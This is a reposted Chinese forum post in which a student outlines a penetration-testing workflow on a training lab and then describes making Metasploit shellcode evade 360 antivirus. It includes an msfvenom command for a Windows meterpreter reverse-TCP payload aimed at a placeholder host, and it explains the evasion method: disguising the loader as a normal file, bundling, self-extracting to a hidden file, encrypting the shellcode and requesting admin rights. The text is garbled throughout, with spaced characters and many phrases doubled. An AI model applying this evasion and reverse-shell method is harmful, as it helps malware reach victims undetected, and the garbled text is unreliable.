搜索

[26742] 2021-07-07_完整渗透流程原理讲解与MSF免杀360

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-07-07_完整渗透流程原理讲解与MSF免杀360 完 整 渗 透 流 程 原 理 讲 解 与 M S F 免 杀 3 6 0 原 创   小 苏   m o o n s e c   2 0 2 1 - 0 7 - 0 7 收 录 于 话 题   # 渗 透 测 试   , 1 8 个 完 整 渗 透 流 程 原 理 讲 解 与 完 整 渗 透 流 程 原 理 讲 解 与 M S F 免 杀 免 杀 3 6 0 以 下 是 学 员 小 苏 自 学 三 个 月 的 一 些 心 得 ， 希 望 能 帮 助 某 些 想 入 门 的 人 以 下 是 学 员 小 苏 自 学 三 个 月 的 一 些 心 得 ， 希 望 能 帮 助 某 些 想 入 门 的 人 这 篇 主 要 对 于 零 基 础 刚 开 始 进 行 项 目 的 朋 友 一 个 讲 解 帮 助 ， 第 二 部 分 免 杀 主 要 为 思 路 讲 解 。 上 一 篇 文 章 这 篇 主 要 对 于 零 基 础 刚 开 始 进 行 项 目 的 朋 友 一 个 讲 解 帮 助 ， 第 二 部 分 免 杀 主 要 为 思 路 讲 解 。 上 一 篇 文 章   零 基 础 学 习 渗 透 过 零 基 础 学 习 渗 透 过 程 程       首 先 我 们 看 月 老 师 这 里 的 项 目 开 始 进 行 局 域 网 存 活 主 机 扫 描 ， 很 多 刚 入 门 的 朋 友 可 能 有 些 不 理 解 这 一 步 ， 其 实 就 是 确 认 目 标 确 认 目 标 ， 因 为 你 是 在 本 地 做 的 靶 机 项 目 进 行 渗 透 ， 而 每 个 靶 机 都 有 自 己 的 I P 地 址 ， 方 便 我 们 找 到 并 绑 定 h o s t 。 第 二 步 ， 进 行 端 口 扫 描 进 行 端 口 扫 描 ， 为 什 么 进 行 端 口 扫 描 ， 首 先 你 学 基 础 知 识 就 会 知 道 每 个 端 口 对 应 每 个 服 务 ， 你 可 以 理 解 端 口 就 是 一 个 门 ， 每 个 门 后 边 都 通 往 同 一 个 地 方 （ 也 就 是 服 务 器 ） ， 我 们 就 是 要 从 这 些 不 同 的 门 找 到 突 破 点 找 到 突 破 点 进 入 到 最 后 的 同 一 个 地 方 （ 这 里 解 这 里 解 释 主 要 针 对 项 目 四 典 型 渗 透 ， 更 多 的 域 渗 透 等 内 网 渗 透 ， 可 以 报 名 月 老 师 培 训 学 习 释 主 要 针 对 项 目 四 典 型 渗 透 ， 更 多 的 域 渗 透 等 内 网 渗 透 ， 可 以 报 名 月 老 师 培 训 学 习 ） ） 第 三 步 ， 访 问 每 个 端 口 进 行 信 息 收 集 访 问 每 个 端 口 进 行 信 息 收 集 ， 你 作 为 初 学 者 ， 首 先 要 把 基 础 打 好 ， 知 道 每 个 端 口 的 服 务 相 对 应 的 是 什 么 每 个 端 口 的 服 务 相 对 应 的 是 什 么 ， 你 利 用 工 具 探 测 出 每 个 端 口 对 应 的 信 息 后 ， 他 告 诉 你 这 个 端 口 是 h t t p 或 者 s s h 服 务 等 ， 你 得 先 知 道 如 何 去 访 问 进 行 收 集 信 息 如 何 去 访 问 进 行 收 集 信 息 ， 一 定 要 去 自 己 慢 慢 摸 索 ， 从 每 个 端 口 的 信 息 获 得 有 用 的 数 据 进 行 渗 透 。 （ 下 图 为 暗 月 项 目 四 两 个 端 口 服 务 ）
第 四 步 ， 入 侵 打 点 入 侵 打 点 ， 简 单 点 打 点 百 分 之 七 十 为 信 息 收 集 最 后 百 分 之 三 十 才 是 漏 洞 入 侵 百 分 之 七 十 为 信 息 收 集 最 后 百 分 之 三 十 才 是 漏 洞 入 侵 测 试 ， 这 里 主 要 针 对 项 目 四 进 行 讲 解 ， 先 收 集 这 个 站 的 相 关 信 息 ： 指 纹 识 别 ， 目 录 扫 描 ， 子 域 名 搜 集 等 。 之 后 进 行 弱 口 令 爆 破 ， 这 个 主 要 碰 运 气 指 纹 识 别 ， 目 录 扫 描 ， 子 域 名 搜 集 等 。 之 后 进 行 弱 口 令 爆 破 ， 这 个 主 要 碰 运 气 第 五 步 ， 实 施 渗 透 实 施 渗 透 ， 这 时 候 就 要 利 用 前 边 收 集 的 信 息 了 ， 组 件 框 架 版 本 ， c m s 类 型 ， o a 类 型 这 一 类 信 息 ， 看 是 否 有 可 利 用 的 漏 洞 能 直 接 g e t s h e l l ， 常 见 三 个 拿 常 见 三 个 拿 s h e l l 方 法 ， 注 入 ， 文 件 上 传 ， 命 令 执 行 方 法 ， 注 入 ， 文 件 上 传 ， 命 令 执 行 。 。 渗 透 是 一 个 站 一 个 情 况 没 法 统 一 说 明 ， 这 里 拿 项 目 四 做 例 子 利 用 注 入 进 入 后 台 ， 上 传 文 件 拿 到 s h e l l
第 六 步 ， 提 升 权 限 提 升 权 限 ， ， 这 里 W i n d o w s 与 L i n u x 提 权 这 里 不 详 细 讲 了 大 家 可 以 搜 搜 百 度 进 行 了 解 ， 这 里 项 目 四 是 利 用 m s f 反 弹 s h e l l ， 利 用 e x p 进 行 的 提 权 。 第 七 步 ， 内 网 渗 透 内 网 渗 透 ， ， 进 行 内 网 的 信 息 收 集 ， h a s h ， 路 由 信 息 ， 用 户 组 等 ， 进 行 进 一 步 的 渗 透 ， 这 里 希 望 刚 入 门 的 朋 友 不 要 管 太 多 的 名 词 ， 说 白 了 就 是 搜 查 信 息 看 看 这 个 服 务 器 还 连 接 了 其 他 服 务 器 没 ， 之 后 可 以 利 用 这 个 服 务 器 是 否 被 另 一 个 服 务 器 的 用 户 组 登 陆 过 ， 可 以 做 票 据 等 进 行 访 问 登 录 ， 这 里 项 目 四 信 息 收 集 主 要 就 是 用 户 名 与 密 码 的 收 集 ， 因 为 再 次 渗 透 另 一 个 服 务 器 的 时 候 依 这 里 项 目 四 信 息 收 集 主 要 就 是 用 户 名 与 密 码 的 收 集 ， 因 为 再 次 渗 透 另 一 个 服 务 器 的 时 候 依 旧 和 开 始 打 第 一 个 服 务 器 流 程 一 样 （ 横 向 域 渗 透 等 报 名 暗 月 学 习 ） 。 下 图 为 项 目 四 收 集 到 的 旧 和 开 始 打 第 一 个 服 务 器 流 程 一 样 （ 横 向 域 渗 透 等 报 名 暗 月 学 习 ） 。 下 图 为 项 目 四 收 集 到 的 h a s h 之 后 进 行 破 解 密 码 。 之 后 进 行 破 解 密 码 。 再 来 一 遍 渗 透 操 作 获 取 权 限 拿 到 f l a g
内 网 渗 透 这 里 我 没 法 做 更 多 的 解 析 ， 因 为 我 也 还 没 学 太 懂 ， 毕 竟 月 老 师 项 目 想 掌 握 还 是 需 要 时 间 的 。 下 边 简 单 讲 下 最 近 刚 成 功 的 M S F 源 码 免 杀 过 3 6 0 上 线 首 先 生 成 p a y l o a d 文 件 创 建 控 制 台 程 序 ， 下 图 是 已 经 编 辑 好 把 c o d e 放 进 去 的 源 码 了 ， 加 载 器 没 有 用 老 师 给 的 深 层 次 源 码 ， 加 载 器 源 码 就 不 漏 了 我 还 年 轻 还 不 想 搞 事 ， 原 理 其 实 是 先 进 行 注 入 正 常 伪 文 件 进 行 源 码 的 修 改 （ 例 如 单 一 图 标 等 ） ， 正 常 文 件 代 码 作 为 原 理 其 实 是 先 进 行 注 入 正 常 伪 文 件 进 行 源 码 的 修 改 （ 例 如 单 一 图 标 等 ） ， 正 常 文 件 代 码 作 为 “ 掩 护 掩 护 ” 再 进 行 一 些 再 进 行 一 些 正 常 文 件 的 捆 绑 压 缩 ， 自 解 压 至 正 常 文 件 的 捆 绑 压 缩 ， 自 解 压 至 / t m p 隐 藏 文 件 免 杀 （ 关 键 在 于 加 载 器 源 码 的 处 理 ， 这 里 我 的 个 人 简 单 理 解 其 实 就 是 当 运 行 隐 藏 文 件 免 杀 （ 关 键 在 于 加 载 器 源 码 的 处 理 ， 这 里 我 的 个 人 简 单 理 解 其 实 就 是 当 运 行 一 个 正 常 文 件 的 一 个 正 常 文 件 的 e x e 他 进 行 的 一 些 访 问 是 被 杀 软 允 许 的 ， 我 把 他 进 行 的 一 些 访 问 是 被 杀 软 允 许 的 ， 我 把 c o d e 用 用 h t t p 形 式 访 问 反 弹 ， 进 行 形 式 访 问 反 弹 ， 进 行 c o d e 加 密 ， 之 后 在 设 置 程 序 要 加 密 ， 之 后 在 设 置 程 序 要 用 管 理 员 权 限 执 行 免 掉 一 些 确 认 操 作 实 施 免 杀 ， 这 里 我 免 杀 理 解 还 是 有 些 朦 胧 毕 竟 学 的 还 不 是 很 深 ， 临 时 过 个 用 管 理 员 权 限 执 行 免 掉 一 些 确 认 操 作 实 施 免 杀 ， 这 里 我 免 杀 理 解 还 是 有 些 朦 胧 毕 竟 学 的 还 不 是 很 深 ， 临 时 过 个 3 6 0 上 线 ） 上 线 ） 。 这 里 就 简 单 的 单 个 e x e 文 件 作 为 演 示 了 这 里 运 行 库 要 改 成 多 线 程 m s f v e n o m   - a   x 8 6   - - p l a t f o r m   W i n d o w s   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p L H O S T = i p   L P O R T = p o r t - f   c   >   s h e l l c o d e . c
生 成 解 决 方 案 好 了 来 看 看 生 成 的 e x e 爆 毒 否 ， 先 看 好 没 任 何 添 加 信 任 。 来 3 6 0 检 测 不 爆 红 我 的 m s f 也 准 备 好 了 运 行 上 线
最 后 检 测 了 一 下 ， 一 般 般 吧 毕 竟 还 属 于 半 成 品 状 态 ， 别 问 我 别 找 我 ， 这 技 术 都 是 和 暗 月 学 的 ， 源 码 学 习 找 暗 月 别 问 我 别 找 我 ， 这 技 术 都 是 和 暗 月 学 的 ， 源 码 学 习 找 暗 月 需 要 培 训 的 联 系 月 师 傅
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理